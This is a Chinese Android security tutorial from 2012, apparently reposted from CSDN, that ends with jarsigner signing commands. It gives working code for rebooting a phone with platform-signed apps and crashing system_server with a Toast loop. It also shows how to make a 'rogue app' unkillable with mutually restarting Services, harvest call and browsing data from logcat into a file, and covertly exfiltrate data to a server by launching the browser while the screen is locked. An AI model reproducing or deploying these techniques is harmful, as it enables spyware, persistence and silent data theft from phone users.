您的位置:首页 > 移动开发 > Android开发

关于Android安全和通过命令给apk签名

2012-05-05 09:32 435 查看
一,0权限重启手机:

现在我们来定义一个实现该功能的类:

/**
* 单击事件
* @param view
*/
public void reboot(View view) {
Intent reboot = new Intent(Intent.ACTION_REBOOT);
reboot.putExtra("nowait", 1);
reboot.putExtra("interval", 1);
reboot.putExtra("window", 0);
sendBroadcast(reboot);
}




程序异常终止了,logcat控制输出,说没有权限



我们需要了解一下重启手机需要什么样的权限



其中android:protectionLevel="signatureOrSystem"表明要只能是系统的程序或者签名和系统签名一样的程序才能够实现重启手机的功能. 我们就在清单文件里面,加上缺少的权限
<uses-permission android:name="android.permission.REBOOT"/>
但是程序还是出现同样的错误.
然而我们可以在把我们的程序提高成系统的权限(我们程序的uid和系统的等级一样)只需要这样配置:
android:sharedUserId="android.uid.system"
运行后发现如下错误:

[2012-02-12 22:51:26 - android_safe_reboot] Installation error: INSTALL_FAILED_SHARED_USER_INCOMPATIBLE
[2012-02-12 22:51:26 - android_safe_reboot] Please check logcat output for more details.
[2012-02-12 22:51:26 - android_safe_reboot] Launch canceled!

表示安装失败,因为我们虽然使用android:sharedUserId="android.uid.system"但是我们程序的签名不是系统的签名,eclipse默认是debug签名.
所以现在我们的程序必须系统的签名,当然可以到网站去下载.(platform.pk8,platform.x509.pem)

现在我们要做的是程序使用系统的签名,那该怎么做呢?(需要签名打包工具signapk.jar,)
第一步,出eclipse的我们写的程序,在bin目录下就可以找到.
第二步,打开该apk把,把里面META-INF(包含的是一些默认签名的信息)的三个文件删除
第三步,使用signapk.jar命定进行签名打包.
E:\2\douban4\SignApk (1)\SignApk>java -jar signapk.jarplatform.x509.pem platfor m.pk8android_safe_reboot.apk(原pak)reboot.apk(新apk)
然后我们通过cmd命令把打包后的apk安装到模拟器上,出现如下错误:



因为模拟器上已经有了这样一个程序但是,他的签名是debug签名,我们知道唯一标识一个应用程序是包名和签名
只有两个程序的签名和包名一样,那么才表示这两个应用程序是同一类别的程序.
如一个应用程序要更新,那么就必须保持签名和包名一直,否则更新则不成功.
以包名和签名来标识一个程序,这样有什么好处?
如果仅以包名来标识,如果别人知道了你程序的包名,那么别人就可以也写一个另类的程序,但是和你的包名一样,用户一安装就把你的覆盖了.
综上所述,我们需要把模拟器上的这个程序卸载(adb uninstall 包名),然后我们再安装签名打包后的apk,启动程序,单击按钮,然后模拟器会出现如下情况因为是模拟器,它会一直停留在该界面,如果是真机就不会出现这样的情况.



但是,这样做比较麻烦.我们可以通过下面的方式来实现.

public void reboot(View view){
// 利用吐司来重启手机
// system_server
while(true){
Toast myToast = new Toast(this);
myToast.setView(new View(this));
myToast.show();
}

}


这段代码应该写到Service的子线程中,这样就不会阻塞用户的请求.

二 ,流氓软件是怎么打造不死之身的.
0权限程序开机启动,然后再次基础上打造程序的不死之身.
我们知道让我们的程序开机启动不需要配置任何权限,只需要编写一个广播即可.
要想用户无法停止程序的服务,我们可以通过两个Service来实现在第一个Service的onDestroy()方法里面启动第二个Service
在第二个Service的onDestroy()方法里面启动第一个Service,这样就无法停止程序的Service.
然后在广播里面,开机启动几个服务即可.

三,我们的隐私真的安全吗?
我们可以通过程序来监听用户开了什么网页,和谁打了电话等一切信息.
这就需要用到logcat了
logcat分为4个类别的日志信息:
Main /dev/log/main 这就是logcat控制台输出的日志信息
Events /dev/log/events 关于事件的日志信息
Radio /dev/log/radio 与网络通讯相关的日志
System /dev/log/system 与系统相关的日志信息
现在假设你已经配置好了android环境变量, adb logcat -b radio
然后我们通过DDMS给模拟器打电话(12121)



我们可以从中看到电话号码的踪迹,记录其他用户行为也是一样的.比如我们浏览一个网页就可以通过events事件.

现在我们可以来记录logcat日志信息.然后可以把我们想要的数据上传到服务器.

通过Service来把我们需要的日志写到文件里面
通过Service来把我们需要的日志写到文件里面
try {
Process process = Runtime.getRuntime().exec("logcat -b radio");
InputStream is = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
//data/data
File file = new File(Environment.getExternalStorageDirectory(),"log.txt");
FileOutputStream fos = new FileOutputStream(file);
String result = null;

while((result = br.readLine())!=null){
System.out.println(result);
fos.write(result.getBytes());
fos.flush();
}

} catch (Exception e) {
e.printStackTrace();
}


四, 0权限把数据上传到服务器,0权限从服务器下载数据
我们知道与互联网打交道需要使用internet权限.
我们可以模拟当用户锁屏的时候上传,当用户解锁的时候,即停止上传.
public class UploadService extends Service {
private ScreenOFFBroadcastReciver sfReciver;
private ScreenONBroadcastReciver soReciver;
private KeyguardManager keyguardManager;
Handler handler;
@Override
public void onCreate() {
super.onCreate();
//关于键盘服务
keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
handler = new Handler();
soReciver = new ScreenONBroadcastReciver();
sfReciver = new ScreenOFFBroadcastReciver();
//这两个广播接受者所关心的广播 并注册这两个广播接受者
IntentFilter onIntentFilter = new IntentFilter(
"android.intent.action.SCREEN_ON");
registerReceiver(soReciver, onIntentFilter);
IntentFilter offIntentFilter = new IntentFilter(
"android.intent.action.SCREEN_OFF");
registerReceiver(sfReciver, offIntentFilter);
}
@Override
public IBinder onBind(Intent intent) {
<span style="white-space:pre">	</span>return null;
}
//屏幕锁定对应的广播
class ScreenOFFBroadcastReciver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("屏幕锁住");
// 500ms后开始执行上传数据
handler.postDelayed(r, 500);
}
}
//屏幕开启对应的广播
class ScreenONBroadcastReciver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
System.out.println("屏幕开启");
// 取消数据上传
handler.removeCallbacks(r);
//模拟home键
Intent intent2 = new Intent(Intent.ACTION_MAIN);
intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);// 注意
intent2.addCategory(Intent.CATEGORY_HOME);
context.startActivity(intent2);
}
}
private Runnable r = new Runnable() {
@Override
public void run() {
// 如果是锁屏状态
if (keyguardManager.inKeyguardRestrictedInputMode()) {
// GET上传,内容随你
String hackInfo = "http://192.168.1.247:8080/data.jsp?data="
+ new Random().nextFloat();
Intent it = new Intent();
it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
Uri uri = Uri.parse(hackInfo);
it.setAction(Intent.ACTION_VIEW);
it.setData(uri);
startActivity(it);
System.out.println("提交数据 " + hackInfo);
// 每隔5秒,执行一次上传
handler.postDelayed(r, 5000);
}
}
};
}

但是以上有一个问题,就是浏览器别启动了,如果用户去启动浏览器,发现浏览器已经被启动了.
0,权限上传数据到服务器,只需要通过get方式即可后面带上参数如,http://192.168.1.1:8080/dd.zip

通过命令给APK签名:

进入JDK安装目录如: C:\Program Files\Java\jdk1.6.0_10\bin
然后通过一下命令即可给未签名的apk签名了..

jarsigner -verbose -keystore xxx.keystore -signedjar out.apk in.apk xxx.keystore

C:\Program Files\Java\jdk1.8.0_45\bin>jarsigner -verbose -keystore xxx.keystore -signedjar out.apk in.apk whzf (whzf 是别名)

有什么不足尽请读者批评指正.谢谢
转载请注明出处: http://blog.csdn.net/johnny901114/article/details/7536796
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: